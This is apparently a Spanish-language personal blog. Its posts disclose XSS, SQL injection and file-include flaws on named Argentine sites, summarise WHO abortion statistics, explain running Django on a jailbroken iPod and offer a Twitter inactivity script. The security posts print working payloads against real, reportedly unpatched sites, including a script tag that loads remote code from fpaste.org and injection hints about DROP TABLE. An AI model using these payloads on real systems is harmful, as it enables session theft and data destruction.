Imperdonable

“Se equivocó”, “no sé equivocó”, no lo sé. No lo sé y creo que en el fondo no me importa, porque lo que sí sé es que no le reprochan que se haya equivocado. Cometió un pecado imperdonable: hizo lo que dijo, y dijo lo que pensó. Imperdonable. En América Latina la palabra y el acto no se encuentran nunca. A veces se cruzan, por casualidad, y no se saludan porque no se reconocen.

Eduardo Galeano sobre Ernesto «Che» Guevara

Vulnerabilidades en el sitio web de la Sociedad Rural Argentina

XSS

El cross-site scripting ya es un clásico. Para probarlo coloquen la siguiente línea en el buscador: <script type=”text/javascript”>alert(document.cookie);</script>. Las variantes de uso son practicamente ilimitadas.

SQL Injection

También en el buscador. Colocando un simple apóstrofo (‘) el query se “pincha”. Acá pueden entrar subqueries con instrucciones DROP TABLE o cosas peores.

Includes inseguros

Acá es cuando apagamos la luz, cerramos todo y nos fuimos a la mierda (?)

Un link y una imagen (por si lo arreglan antes de tiempo) valen más que cualquier explicación en palabras. Los entendidos se darán cuenta rápidamente de la gravedad del asunto. Acá hay otro ejemplo donde podés ver el archivo /etc/hosts.

El aborto según la OMS

Nunca tuve una postura definida sobre el aborto, pero como sé que en breve tendremos este “asuntito” dando vueltas por el Congreso, decidí a investigar un poco sobre el tema y así tener una opinión más o menos formada.

Algunas aclaraciones

  • Acá no expongo argumentos basados en moralidad religiosa
  • Busqué argumentos basados en evidencia objetiva, recopilada sistemáticamente por científicos de instituciones relevantes, como la Organización Mundial de la Salud
  • Nadie, ni pro-choice ni pro-life, está a favor del aborto como método eficaz de planificación familiar
  • No me detengo a divagar sobre si abortar está bien o mal (es irrelevante, para eso lean sobre bioética en Wikipedia)

Casi la mitad de los 42 millones de abortos que se practican cada año se consideran peligrosos debido a que son realizados por personas no capacitadas, con técnicas peligrosas o con falta de higiene, ocasionando la muerte de casi 70000 mujeres y la discapacidad de cerca de otros cinco millones. Si bien es cierto que el uso correcto y constante de anticonceptivos reduciría el número de embarazos no planificados, cuando éstos se producen, las mujeres que deciden abortar han de tener acceso a métodos seguros y legales que les permitan poner término a la gestación y disponer de una atención de calidad tras el aborto.

Fuente: folleto informativo sobre las actividades del Programa Especial de Investigación, Desarrollo y Formación de Investigadores en Reproducción Humana de la Organización Mundial de la Salud (Ginebra, Suiza)

Algunos datos sobre el aborto en el mundo1

  • La mayoría de los abortos ocurren en los países en vías de desarrollo: 35 millones anualmente, comparado con 7 millones en los países desarrollados
  • Las restricciones legales sobre el aborto no afectan su incidencia. Por ejemplo, el índice de abortos en África es de 29 sobre 1000 embarazos, donde es ilegal en la mayoría de sus países, mientras que en Europa el índice de aborto es de 28 sobre 1000, donde el aborto es permitido por múltiples causas. Los índices más bajos se hallan en el oeste y norte de Europa, donde el aborto es accesible casi sin restricciones
  • Ejemplos de métodos abortivos inseguros utilizados en la actualidad:
    • Beber aguarrás, lavandina o té hecho con estiércol de ganado
    • Introducir preparados a base de hierbas en la vagina o cuello uterino
    • Introducir cuerpos extraños en el útero, como ramas, perchas o huesos de pollo
    • Lanzarse por las escaleras o desde un techo
  • Más del 95% de los abortos en África y América Latina se realizan bajo circunstancias inseguras, como el 60% de los abortos en Asia (excluyendo el este de Asia)
  • Cada año aproximadamente 220.000 niños en el mundo pierden a sus madres por muertes relacionadas con procedimientos abortivos
  • De los 185 millones de embarazos que ocurren en los países en desarrollo, el 40% son no deseados, y 19% terminan en abortos inducidos
  • Según un reporte del año 2009, se estima que 215 millones de mujeres en países en vías de desarrollo no tienen acceso a anticonceptivos modernos

Las restricciones legales sobre el aborto no reducen su incidencia. La probabilidad de que una mujer se realice un aborto es más o menos igual si vive en una región donde el aborto está disponible a petición o cuando es muy restringido. Mientras que los abortos legales y seguros han disminuído recientemente, los abortos inseguros no muestran ninguna disminución en números e índices a pesar de ser totalmente prevenibles. Proporcionar información y servicios para la anticoncepción moderna es la principal estrategia de prevención contra embarazos no deseados. Proveer un aborto seguro evitará el aborto inseguro. En todos los casos, las mujeres deberían tener acceso a la atención post-aborto, incluidos los servicios de planificación familiar.

Fuente: “Unsafe abortion: global and regional incidence, trends, consequences, and challenges“, publicación del HRP (Organización Mundial de la Salud) en la Biblioteca Nacional de Medicina de los Estados Unidos

En conclusión, la OMS aboga por la legalización del aborto seguro. El argumento más importante es que si hay una mujer dispuesta a abortar, ésta lo hará independientemente del riesgo o la legislación vigente.

1 – Estudio realizado por el Guttmacher Institute junto con el Departamento de Investigación y Salud Reproductiva de la Organización Mundial de la Salud. Ver documento PDF (en inglés).

Django server en iPod/iPhone

Requisitos:

  • Tener “jailbreakeado” el iPod/iPhone
  • Instalar OpenSSH, Python y wget usando Cydia

Pasos:

  • Accedemos por SSH a nuestro iPod/iPhone usando la red WiFi (ejemplo: $ ssh root@192.168.1.102)
  • $ cd /User/Documents/
  • $ wget http://www.djangoproject.com/download/1.1.1/tarball/
  • $ tar xzfv Django-1.1.1.tar.gz
  • $ cd Django-1.1.1
  • $ python setup.py install

Ahora creamos un proyecto en /User/Documents/ para probar:

  • $ cd /User/Documents/
  • $ django-admin.py startproject miproyecto
  • $ python miproyecto/manage.py runserver

¡Listo! Ya tienen un servidor de desarrollo que pueden llevar en el bolsillo

XSS en el sitio del Ministerio de Salud

Hace un par de días descubrí una vulnerabilidad XSS bastante común en el sitio web del Ministerio de Salud de la Nación.

Me sorprende que una vulnerabilidad tan evidente esté presente en uno de los sitios más importantes de nuestra administración pública. Como se podrán imaginar, los sitios gubernamentales son objetivos de alto riesgo en el campo de la seguridad informática, por lo que debería someterse a los más estrictos controles durante su desarrollo y su posterior mantenimiento.

Después de todo, “cross-site scripting (XSS) es una de las vulnerabilidades más predominantes, obstinadas y peligrosas en las aplicaciones web”1.

¿En qué consiste la vulnerabilidad?

Un usuario realiza una búsqueda en el sitio y la búsqueda original se le vuelve a presentar en un campo de texto junto a los resultados. Por ejemplo:

Búsqueda en el Ministerio de Salud de la Nación

El código del campo de texto es el siguiente:

1
<input name="txtBusqueda2" size="40" type="text" value="hospitales del chaco" />

El problema se encuentra en la impresión de esa búsqueda original: los caracteres < y > (apertura y cierre de etiquetas HTML) no son convertidos a sus respectivas entidades.

Parece un detalle menor, pero es un enorme agujero de seguridad que permite ejecutar código arbitrario y comprometer seriamente la información de sus usuarios. Por ejemplo, si uno busca:

" /><script type="text/javascript" src="http://fpaste.org/GVwV/raw/"></script><input type="hidden" value="

Se obtiene:

1
<input name="txtBusqueda2" size="40" type="text" value=" " /><script type="text/javascript" src="http://fpaste.org/GVwV/raw/"></script><input type="hidden" value=" " />

Y, por consiguiente (clic para agrandar):

XSS en el Ministerio de Salud de la Nación

¿Qué consecuencias puede ocasionar esta vulnerabilidad?

  • Se puede esconder una URL maliciosa con un acortador de URL que redirija a la víctima hacia el sitio vulnerable junto con un POST de búsqueda que permita ejecutar código arbitrario.
  • Se podría obtener datos de sesión, credenciales de correo electrónico, acceso a paneles de administración, etcétera.
  • Si se añaden las librerías adecuadas (como jQuery), es posible enviar estos datos a nuestros servidores de forma transparente, sin que el usuario se percate del ataque, y almacenarlos para su uso posterior.

La vulnerabilidad fue reportada oportunamente, pero no obtuve respuesta (como suele suceder en el 95% de los casos). Espero que lo solucionen antes de que sea demasiado tarde.

1 – Fragmento de “Failure to Preserve Web Page Structure (‘Cross-site Scripting’)“, publicado en 2010 CWE/SANS Top 25 Most Dangerous Programming Errors.

XSS y SQL Injection en Infobae.com

Ayer me puse a revisar Infobae en búsqueda de agujeros XSS, y grata fue mi sorpresa cuando encontré una falla en el primer intento.

Y eso no es todo. Profundizando un poco más, encontré algo más grave:

  1. Las líneas de debugging son públicas
  2. Están imprimiendo consultas de SQL en comentarios HTML
  3. No están escapando caracteres en las consultas SQL

Este último punto significa que cualquier persona puede realizar inyecciones SQL1, o sea:

  1. Obtener información sensible de los usuarios registrados en Infobae, como nombres de usuario, números de DNI, direcciones de correo electrónico, contraseñas (si no están encriptadas o si utilizan hashes md5 reversibles2), etc.
  2. Modificar información del diario, como el título de la portada principal (un amigo me sugirió que ponga “Encontraron las manos de Perón”)
  3. Vaciar (TRUNCATE) o eliminar (DROP) tablas y bases de datos completas.

Quise contactarme con ellos, pero la página de contacto del diario no anda, así que les envié un mail con una descripción del problema (nunca me contestaron). Para que sepan: pasaron 24 horas y los agujeros no fueron parcheados.

1 – Es posible que utilicen usuarios con jerarquía de privilegios, aunque lo dudo.
2 – “Recently, a number of projects have created MD5 rainbow tables which are easily accessible online, and can be used to reverse many MD5 hashes into strings that collide with the original input, usually for the purposes of password cracking” (Wikipedia)

Identificando posibles “drops” de usuarios de Twitter, con Python

Hace un par de días se supo que Twitter liberará aquellos nombres de usuario que no hayan registrado actividad durante 6 meses o más.

Les dejo una herramienta para obtener los días de inactividad de un usuario a través de su último status publicado. Esta clase puede ser utilizada, por ejemplo, para recorrer listados de palabras en búsqueda de nombres valiosos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import twitter
import sys
import urllib2
from datetime import datetime
 
class UnknownUser(Exception):
    pass
 
class UnknownStatus(Exception):
    pass
 
class TwitterExpire(object):
    def __init__(self):
        self.__t = twitter.Api()
 
    def verify(self, username):
        try:
            user = self.__t.GetUser(user=username)
        except urllib2.HTTPError:
            raise UnknownUser
        else:
            status = user.GetStatus()
            if status:
                timestamp = status.GetCreatedAtInSeconds()
                d = datetime.fromtimestamp(timestamp)
                td = datetime.now() - d
                return td
            else:
                raise UnknownStatus
 
def main(username):
    te = TwitterExpire()
    try:
        result = te.verify(username)
    except UnknownUser:
        print u"User '%s' doesn't exist" % username
    except UnknownStatus:
        print u"Couldn't find any status for '%s'" % username
    else:
        print result
 
if __name__ == '__main__':
    if len(sys.argv) &gt;= 2:
        main(username=sys.argv[1])

Algunos resultados:

mahadeva@blue:~$ python2.5 last_status.py patito
258 days, 11:16:49.425212
mahadeva@blue:~$ python2.5 last_status.py patricio
Couldn't find any status for 'patricio'
mahadeva@blue:~$ python2.5 last_status.py usuarioinexistente
User 'usuarioinexistente' doesn't exist
mahadeva@blue:~$ python2.5 last_status.py shitmydadsays
1 day, 22:35:44.434214